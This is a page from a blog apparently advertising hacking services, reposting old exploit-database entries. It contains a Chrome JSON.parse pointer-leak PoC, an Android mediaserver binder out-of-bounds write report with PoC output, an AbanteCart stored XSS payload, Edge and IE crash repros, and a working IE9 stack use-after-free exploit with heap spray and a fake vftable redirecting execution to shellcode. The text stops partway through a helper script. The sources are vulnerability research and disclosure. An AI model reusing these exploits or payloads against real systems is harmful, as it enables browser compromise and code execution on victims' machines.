Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863292512

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=952

There is an info leak in JSON.parse. If this function is called with a reviver, and the reviver modifies the output object to contain a native array, the Walk function assumes that this array is a Var array, and writes pointers to it. These pointers can then be read out of the array by script.

A minimal PoC is as follows:

var once = false;
var a = 1;

function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);

A full PoC is attached. When loaded in a browser, this PoC will delay pointers in an alert dialog.
-->

<html>
<body>
<script>

var once = false;
var a = 1;


function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	//alert("f " + this);
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);
var n = new Number(a[0]);
n = n >> 1;
var s = n.toString(16);
n = new Number(a[1]);
n = n >> 1;
s = s + n.toString(16);
n.length = 100;
n = new Number(a[2]);
n = n >> 1;
s = s + " " + n.toString(16);
n = new Number(a[3]);
n = n >> 1;
s = s + n.toString(16);
alert(s);
</script>
</body>
</html>
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=932

The code in IOMXNodeInstance.cpp that handles enableNativeBuffers uses port_index without validation, leading to writing the dword value 0 or 1 at an attacker controlled offset from the IOMXNodeInstance structure.

The vulnerable code is here (every write to mSecureBufferType):

status_t OMXNodeInstance::enableNativeBuffers(
        OMX_U32 portIndex, OMX_BOOL graphic, OMX_BOOL enable) {
    Mutex::Autolock autoLock(mLock);
    CLOG_CONFIG(enableNativeBuffers, "%s:%u%s, %d", portString(portIndex), portIndex,
                graphic ? ", graphic" : "", enable);
    OMX_STRING name = const_cast<OMX_STRING>(
            graphic ? "OMX.google.android.index.enableAndroidNativeBuffers"
                    : "OMX.google.android.index.allocateNativeHandle");

    OMX_INDEXTYPE index;
    OMX_ERRORTYPE err = OMX_GetExtensionIndex(mHandle, name, &index);

    if (err == OMX_ErrorNone) {
        EnableAndroidNativeBuffersParams params;
        InitOMXParams(&params);
        params.nPortIndex = portIndex;
        params.enable = enable;

        err = OMX_SetParameter(mHandle, index, &params);
        CLOG_IF_ERROR(setParameter, err, "%s(%#x): %s:%u en=%d", name, index,
                      portString(portIndex), portIndex, enable);
        if (!graphic) {
            if (err == OMX_ErrorNone) {
                mSecureBufferType[portIndex] =
                    enable ? kSecureBufferTypeNativeHandle : kSecureBufferTypeOpaque;
            } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
                mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
            }
        }
    } else {
        CLOG_ERROR_IF(enable, getExtensionIndex, err, "%s", name);
        if (!graphic) {
            // Extension not supported, check for manual override with system property
            // This is a temporary workaround until partners support the OMX extension
            char value[PROPERTY_VALUE_MAX];
            if (property_get("media.mediadrmservice.enable", value, NULL)
                && (!strcmp("1", value) || !strcasecmp("true", value))) {
                CLOG_CONFIG(enableNativeBuffers, "system property override: using native-handles");
                mSecureBufferType[portIndex] = kSecureBufferTypeNativeHandle;
            } else if (mSecureBufferType[portIndex] == kSecureBufferTypeUnknown) {
                mSecureBufferType[portIndex] = kSecureBufferTypeOpaque;
            }
            err = OMX_ErrorNone;
        }
    }

    return StatusFromOMXError(err);
}

This code is reached from the binder interface android.hardware.IOMX in the mediaserver process; via the following code in IOMX.cpp which reads the port_index directly from the incoming parcel without any validation.

       case ENABLE_NATIVE_BUFFERS:
        {
            CHECK_OMX_INTERFACE(IOMX, data, reply);

            node_id node = (node_id)data.readInt32();
            OMX_U32 port_index = data.readInt32();
            OMX_BOOL graphic = (OMX_BOOL)data.readInt32();
            OMX_BOOL enable = (OMX_BOOL)data.readInt32();

            status_t err = enableNativeBuffers(node, port_index, graphic, enable);
            reply->writeInt32(err);

            return NO_ERROR;
        }

Running the attached proof-of-concept on a Nexus 5x yields the following output:

--- binder OMX index-out-of-bounds ---
[0] opening /dev/binder
[0] looking up media.player
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0c . 00 . 00 . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 . 2e . 00 .
0080: 70 p 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000000000000001  cookie 0000000000000000
[0] got handle 00000001
[0] creating an OMX
0000: 00 . 01 . 00 . 00 . 21 ! 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6d m 00 . 65 e 00 . 64 d 00 . 69 i 00 .
0032: 61 a 00 . 2e . 00 . 49 I 00 . 4d M 00 . 65 e 00 . 64 d 00 . 69 i 00 . 61 a 00 .
0048: 50 P 00 . 6c l 00 . 61 a 00 . 79 y 00 . 65 e 00 . 72 r 00 . 53 S 00 . 65 e 00 .
0064: 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1013  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000000000000002  cookie 0000000000000000
[0] got handle 00000002
[0] creating node
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 4f O 4d M 58 X 2e . 67 g 6f o 6f o 67 g 6c l 65 e 2e . 67 g
0064: 73 s 6d m 2e . 64 d 65 e 63 c 6f o 64 d 65 e 72 r 00 . 00 . 85 . 2a * 62 b 73 s
0080: 7f . 01 . 00 . 00 . 41 A 41 A 41 A 41 A 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
0096: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_INCREFS:
  0x7fe5862df8, 0x7fe5862e00
BR_ACQUIRE:
  0x7fe5862e0c, 0x7fe5862e14
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1013  data 8  offs 0
0000: 00 . 00 . 00 . 00 . 03 . 00 . 1e . 1d .
[0] got node 1d1e0003
[0] triggering bug
0000: 00 . 01 . 00 . 00 . 15 . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 68 h 00 . 61 a 00 . 72 r 00 . 64 d 00 .
0032: 77 w 00 . 61 a 00 . 72 r 00 . 65 e 00 . 2e . 00 . 49 I 00 . 4f O 00 . 4d M 00 .
0048: 58 X 00 . 00 . 00 . 03 . 00 . 1e . 1d . ba . 43 C 46 F 60 ` 00 . 00 . 00 . 00 .
0064: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_DEAD_REPLY:

And a corresponding crash in the mediaserver process:

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/bullhead/bullhead:7.0/NRD91E/3234993:userdebug/dev-keys'
Revision: 'rev_1.0'
ABI: 'arm'
pid: 7454, tid: 7457, name: Binder:7454_1  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x6a9e0014
    r0 6a9dffa8  r1 ea8e757c  r2 ea43aa1a  r3 0000000f
    r4 e984f0c0  r5 8000101a  r6 00000000  r7 ea43a981
    r8 604643ba  r9 00000000  sl ea451f61  fp 00000000
    ip ea012658  sp e81d5660  lr e9faa527  pc ea42d834  cpsr 60030030

backtrace:
    #00 pc 0001c834  /system/lib/libstagefright_omx.so (_ZN7android15OMXNodeInstance19enableNativeBuffersEj8OMX_BOOLS1_+131)
    #01 pc 0009b8fb  /system/lib/libmedia.so (_ZN7android5BnOMX10onTransactEjRKNS_6ParcelEPS1_j+3626)
    #02 pc 000359c3  /system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+70)
    #03 pc 0003d1bb  /system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+702)
    #04 pc 0003ce07  /system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+114)
    #05 pc 0003d31b  /system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+46)
    #06 pc 0004f765  /system/lib/libbinder.so
    #07 pc 0000e349  /system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+140)
    #08 pc 00047003  /system/lib/libc.so (_ZL15__pthread_startPv+22)
    #09 pc 00019e1d  /system/lib/libc.so (__start_thread+6)

Fixed in the November security bulletin at https://source.android.com/security/bulletin/2016-11-01.html


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40876.zip
HireHackking 
# Exploit Title: AbanteCart 1.2.7 Stored XSS
# Date: 06-12-2016
# Software Link: http://www.abantecart.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

By default all user input is escaped using `htmlspecialchars`.

But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html

2. Proof of Concept

For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.

So create new order and set `address_1` value as `__e` using for example Burp:

```
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
```
HireHackking 
Source: http://blog.skylined.nl/20161201001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Edge. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Repro:

/<style>:first-letter{word-spacing:9

Variation:

x<style>:first-letter{background-position:inherit

Description

At the time this issue was first discovered, Mem­GC was just introduced, and I had not yet fully appreciated what an impact it would have on mitigating use-after-free bugs. Despite Mem­GC being enabled in Microsoft Edge by default, this issue appeared to me to have been a use-after-free vulnerability. However, both Microsoft and ZDI (whom I sold the vulnerability to) describes it as a memory corruption vulnerability, so it's probably more complex than I assumed.

At the time, I did not consider this vulnerability to be of great interest, as there was no immediately obvious way of controlling the vulnerability in order to exploit it. So, I did not do any further investigation into the root cause and, if this was indeed a use-after-free, how come Mem­GC did not mitigate it? In hindsight, it would have been a good idea to investigate the root cause, as any use-after-free that is not mitigated by Mem­GC might provide hints on how to find more vulnerabilities that bypass it.

Time-line

August 2015: This vulnerability was found through fuzzing.
August 2015: This vulnerability was submitted to ZDI.
December 2015: Microsoft addresses this vulnerability in MS15-125.
December 2016: Details of this vulnerability are released.
HireHackking 
<!--
Source: http://blog.skylined.nl/20161202001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Repro.html:
-->

<iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe>
<script>
    window.open("Repro.xml", "iframe");
    set­Timeout(function () {
      window.open('javascript:void(location.href = "about:blank");', "iframe");
    }, 1000);
</script>

<!--
Repro.xml:

<!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd">

Description

This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to Bug­Id. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide.

Time-line

June 2012: This vulnerability was found through fuzzing.
June 2012: This vulnerability was submitted to ZDI.
July 2012: This vulnerability was acquired by ZDI.
September 2012: This vulnerability was disclosed to Microsoft by ZDI.
February 2013: Microsoft addresses this vulnerability in MS13-009.
December 2016: Details of this vulnerability are released.
-->
HireHackking 
Source: http://blog.skylined.nl/20161205001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Edge. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Edge

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Discovery

This issue was found through fuzzing in the 64-bit version of Microsoft Edge, in which the original repro triggered what appeared to be a NULL pointer dereference in CBase­Scriptable::Private­Query­Interface. So, after a very brief look at the repro, I filed a bug in the public bug tracker and published it on twitter. The original repro was:

<body onload=typeof(open().crypto)>

Soon after, I found another repro that trigger a slightly different NULL pointer dereference in CBase­Scriptable::Private­Query­Interface in a 64-bit version of Edge. The second repro was:

<body onload=typeof(open().ms­Credentials)>

I never tested the these two repros in a 32-bit version of Edge before publishing them, which I immediately regretted after finding that the second repro triggered an access violation using the obviously non-NULL address 0x1BF37D8 in a 32-bit version of Edge!

Around this time, I started finding many variations of this bug: getting the type of various properties or objects associated with another window was triggering all kinds of access violations. Many of these were not using NULL pointers on 32-bit Edge. I collected all the variations my fuzzers had found and come up with these additional repros:

<body onload=typeof(open().document.create­Element("canvas").get­Context("2d"))>

This triggered an access violation in edgehtml.dll!CBase­Scriptable::Private­Query­Interface while attempting to read from address 0x4C261 in the 32-bit version of Edge.

<body onload=typeof(open().navigator.media­Devices)>

This triggered an access violation in charkra.dll!Thread­Context::Pre­Sweep­Callback while attempting to read from address 0x­FF80A90F in the 32-bit version of Edge.

<body onload=typeof(open().to­String)>

This triggered an assertion failure because it was calling a deprecated API in the 32-bit version of Edge.

I looked again at the original crypto repro and noticed that although it triggered an access violation using a NULL pointer on both 32-bit and 64-bit versions of Edge, the two addresses (3 and 8 respectively) had different alignment. This is rather odd: true NULL pointer dereferences can cause an access violation at a different offset from NULL on these two architectures because property values and pointers stored before the one being read/written can have different sizes on 32-bit and 64-bit systems, but one usually expects them to have similar alignment: the last two bits of the address should be the same.

Report

If only I had tested the original repro in a 32-bit version of Edge when I first analyzed the issue, I might have realized it was more than a simple NULL pointer and not published it before doing additional research.

I contacted ZDI and asked if they would be interested in buying the vulnerability at this point, given that I publicly released the repro that triggered a NULL pointer and filed it with Microsoft. I was hoping they would decide that this did not disclose the underlying vulnerability and that it as such would still be a 0-day. Unfortunately for me, they were not interested in acquiring details in this situation.

At that point I decided to contact the Microsoft Security Response Center and report the additional information I had found. I also contacted a few people working on the Edge team at Microsoft directly to let them know they might want to escalate this bug from a simple NULL pointer to a security vulnerability. Unfortunately, this let them to decided to mark the bug I had filed in the Edge bug tracker as hidden. I warned them that this did little good, as the details were still public in my twitter and even if I deleted that, in general what goes on the internet stays on the internet.

Analysis

Since I had publicly released the repro, I was not going to be seeing any kind of reward for this bug, so analyzing the issue was not a priority for me. Unfortunately that meant I did not analyze it at all, other than to speculate that this bug was likely to have been a type-confusion or bad cast, where assembled code was used as data, leading to most of these repros triggering an access violation at a static address that depended on the code they were using as data. It may therefore be possible to find a variation that uses code that represents an address in the address space of Edge where an attacker might store data under his/her control. This is especially true for 32-bit Edge, as the address space is a lot smaller. Depending on what the code does with the address, it might be possible to execute arbitrary code under perfect circumstances.

On Hiding bugs in public bug trackers

Hiding a publicly reported bug after the fact is a very bad idea IMHO, as it paints an easy to detect target on the bug. Every smart attacker should have a system that makes regular copies of all publicly reported bugs in target applications and reports to their owner all bugs that become hidden, with a copy of all the information it scraped from the bug before it was hidden. Since hiding a public bug only ever happens for one of two reasons: the bug was found to be a security issue, or the report accidentally contains personal information that the owner wants hidden. It should be quite easy to distinguish between the two to filter out the vulnerabilities, giving an attacker a nearly free stream of nearly 0-day bugs. If you work on a team that has a public bug-tracker, you may want to discuss this with your team and decided how to handle such situations.

Conclusion

As useful as Bug­Id is in automating a lot of the analysis I do on every bug I find, and in helping me prioritize the issues that are most likely to be vulnerabilities, it is not perfect and cannot always detect a vulnerability for what it is. Bug­Id is not a perfect replacement for full manual analysis of bugs.

In this case I relied to heavily on its ability to distinguish vulnerabilities from other bugs. Because of the nature of this issue, the repros caused access violations at static addresses, many of which near enough to NULL to be interpreted as NULL pointer dereferences, especially for the first repro I found. Bug­Id can not actually determine the root cause of a crash, but attempts to deduce the root cause based on the details of the crash it causes. In this case, the crash looked too similar to a regular NULL pointer dereference for Bug­Id to detect it as anything else.

However, in my current situation, where I am finding way more bugs than I can analyze manually, Bug­Id does a very good job at helping me prioritize and analyze issues. I have used Bug­Id on hundreds of bugs and, as far as I know, this is the first time I mistook a security vulnerability for a regular bug based on the Bug­Id report. As such, the false-negative rate I have experienced is a fraction of a percent, which IMHO is remarkably low and entirely acceptable. At the same time, the false-positive rate I have seen so far is exactly zero.

In order to prevent this from happening in the future, I now test each repro in both the 32-bit and 64-bit version of Edge, do more manual analysis on bugs that get reported as a NULL pointer with a non-DWORD-aligned address (e.g. 3 in this case), and wait slightly longer for my fuzzers to find variations of a bug before I start my analysis and report the issue as a non-security bug.

Time-line
29 April 2016: This vulnerability was first found through fuzzing.
10 May 2016: This issue was published on Twitter and reported to Microsoft.
13 May 2016: This vulnerability was submitted to ZDI.
18 May 2016: This vulnerability was declined by ZDI.
18 May 2016: This vulnerability was reported to MSRC and I informed Edge developers directly on the seriousness of the bug.
18 May 2016: The issue was hidden in public bug tracker.
14 June 2016: Microsoft addresses this vulnerability in MS16-068.
December 2016: Details of this vulnerability are released.
HireHackking 
<!--
Source: http://blog.skylined.nl/20161206001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Repro.html:

<!doctype html>
<script>
  var o­Window = window.open("about:blank");
  o­Window.exec­Script('window.o­URIError = new URIError();o­URIError.name = o­URIError;')
  try { "" + o­Window.o­URIError; } catch(e) { }
  try { "" + o­Window.o­URIError; } catch(e) { }
</script>

Description

A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion.

MSIE attempts to handle this situation gracefully by generating a Java­Script exception. While generating the exception, information about the call stack is gathered using the Javascript­Stack­Walker class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception.

This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below.

Exploit

As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used.

Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address.

The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2.

The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2.

When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow.

The below schematic shows the layout of the stack during the various stages of this exploit:

|                                                                              |
|<- bottom of stack                                             top of stack ->|
|                                                                              |
| Stack layout at the moment the first exception is triggered:                 |
|                                                                              |
|                 [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]|
|                                                                              |
|{---------------} Stack space available is less than 4*N bytes                |
|                                                                              |
|                ^^^                                                           |
|                Vulnerable pointer gets initialized to point around here      |
|                                                                              |
|                                                                              |
|                                                                              |
| Stack layout at the moment the second exception is triggered:                |
|                                                                              |
|    [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]|
|                                                                              |
|{--} Stack space available is less than 4*M bytes                             |
|                                                                              |
|                ^^^                                                           |
|                Vulnerable pointer still points around here, most likely at   |
|                one of the arguments pushed onto the stack in a call.         |
|                                                                              |

In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (p­Target) that points to a dummy shellcode consisting of int3's at 0x28000300 (p­Shellcode). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode.

Sploit.html:
-->

<!doctype html>
<script src="String.js"></script>
<script src="spray­Heap.js"></script>
<script>
  function stack­Overflow­High­On­Stack() {
    stack­Overflow­High­On­Stack.apply(0, new Array(0x2000));
  }
  function attack(p­Target) {
    var ax­Args = [];
    while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1);
    exception­Low­On­Stack­With­Spray();
    function exception­Low­On­Stack­With­Spray() {
      try {
        (function(){}).apply(0, ax­Args);
      } catch (e) {
        throw 0;
      }
      exception­Low­On­Stack­With­Spray.apply(0, ax­Args);
    }
  }
  var p­Spray­Start­Address          = 0x09000000;
  var d­Heap­Spray­Template = {};
  var p­Target                     = 0x28000201;
  var p­Shellcode                  = 0x28000300;
  d­Heap­Spray­Template[p­Target]     = p­Shellcode;
  d­Heap­Spray­Template[p­Shellcode]  = 0x­CCCCCCCC;
  window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template);
  window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address);
  var o­Window = window.open("about:blank");
  function prepare() {
    window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count);
    for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++) {
      as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length);
    }
  }
  o­Window.eval("(" + prepare + ")();");
  try {
    String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})"));
  } catch(e) {
    o­Window.eval("(" + attack + ")(" + p­Target + ")");
  }
</script>

<!--
String.js:

String.from­Word = function (w­Value) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.from­Char­Code(w­Value);
}
String.from­Words = function (aw­Values) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.from­Char­Code.apply(0, aw­Values);
}
String.from­DWord = function (dw­Value) {
  // Return a BSTR that contains the desired DWORD in its string data.
  return String.from­Char­Code(dw­Value & 0x­FFFF, dw­Value >>> 16);
}
String.from­DWords = function (au­Values) {
  var as­DWords = new Array(au­Values.length);
  for (var i = 0; i < au­Values.length; i++) {
    as­DWords[i] = String.from­DWord(au­Values[i]);
  }
  return as­DWords.join("");
}

String.prototype.repeat = function (u­Count) {
  // Return the requested number of concatenated copies of the string.
  var s­Repeated­String = "",
      u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Count + 1) / Math.log(2)) - 1);
  for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) {
    s­Repeated­String += s­Repeated­String;
    if (u­Count & u­Bit) s­Repeated­String += this;
  }
  return s­Repeated­String;
}
String.create­Buffer = function(u­Size, u­Index­Size) {
  // Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte
  // "length" header and 2 byte "\0" footer. The optional argument u­Index­Size can be 1, 2, 4 or 8, at which point the 
  // buffer will be filled with indices of said size (this is slower but useful for debugging).
  if (!u­Index­Size) return "\u­DEAD".repeat(u­Size / 2 - 3);
  var au­Buffer­Char­Codes = new Array((u­Size - 4) / 2 - 1);
  var u­MSB = u­Index­Size == 8 ? 8 : 4; // Most significant byte.
  for (var u­Char­Index = 0, u­Byte­Index = 4; u­Char­Index < au­Buffer­Char­Codes.length; u­Char­Index++, u­Byte­Index +=2) {
    if (u­Index­Size == 1) {
      au­Buffer­Char­Codes[u­Char­Index] = u­Byte­Index + ((u­Byte­Index + 1) << 8);
    } else {
      // Set high bits to prevents both NULLs and valid pointers to userland addresses.
      au­Buffer­Char­Codes[u­Char­Index] = 0x­F000 + (u­Byte­Index % u­Index­Size == 0 ? u­Byte­Index & 0x­FFF : 0);
    }
  }
  return String.from­Char­Code.apply([][0], au­Buffer­Char­Codes);
}
String.prototype.clone = function () {
  // Create a copy of a BSTR in memory.
  s­String = this.substr(0, this.length);
  s­String.length;
  return s­String;
}

String.prototype.replace­DWord = function (u­Byte­Offset, dw­Value) {
  // Return a copy of a string with the given dword value stored at the given offset.
  // u­Offset can be a value beyond the end of the string, in which case it will "wrap".
  return this.replace­Word(u­Byte­Offset, dw­Value & 0x­FFFF).replace­Word(u­Byte­Offset + 2, dw­Value >> 16);
}

String.prototype.replace­Word = function (u­Byte­Offset, w­Value) {
  // Return a copy of a string with the given word value stored at the given offset.
  // u­Offset can be a value beyond the end of the string, in which case it will "wrap".
  if (u­Byte­Offset & 1) {
    return this.replace­Byte(u­Byte­Offset, w­Value & 0x­FF).replace­Byte(u­Byte­Offset + 1, w­Value >> 8);
  } else {
    var u­Char­Index = (u­Byte­Offset >>> 1) % this.length;
    return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1);
  }
}
String.prototype.replace­Byte = function (u­Byte­Offset, b­Value) {
  // Return a copy of a string with the given byte value stored at the given offset.
  // u­Offset can be a value beyond the end of the string, in which case it will "wrap".
  var u­Char­Index = (u­Byte­Offset >>> 1) % this.length,
      w­Value = this.char­Code­At(u­Char­Index);
  if (u­Byte­Offset & 1) {
    w­Value = (w­Value & 0x­FF) + ((b­Value & 0x­FF) << 8);
  } else {
    w­Value = (w­Value & 0x­FF00) + (b­Value & 0x­FF);
  }
  return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1);
}

String.prototype.replace­Buffer­DWord = function (u­Byte­Offset, u­Value) {
  // Return a copy of a BSTR with the given dword value store at the given offset.
  if (u­Byte­Offset & 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") must be Word aligned");
  if (u­Byte­Offset < 4) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR size dword.");
  var u­Char­Index = u­Byte­Offset / 2 - 2;
  if (u­Char­Index == this.length - 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR terminating NULL.");
  return this.substr(0, u­Char­Index) + String.from­DWord(u­Value) + this.substr(u­Char­Index + 2);
}

spray­Heap.js:

console = window.console || {"log": function(){}};
function bad(p­Address) {
  // convert a valid 32-bit pointer to an invalid one that is easy to convert
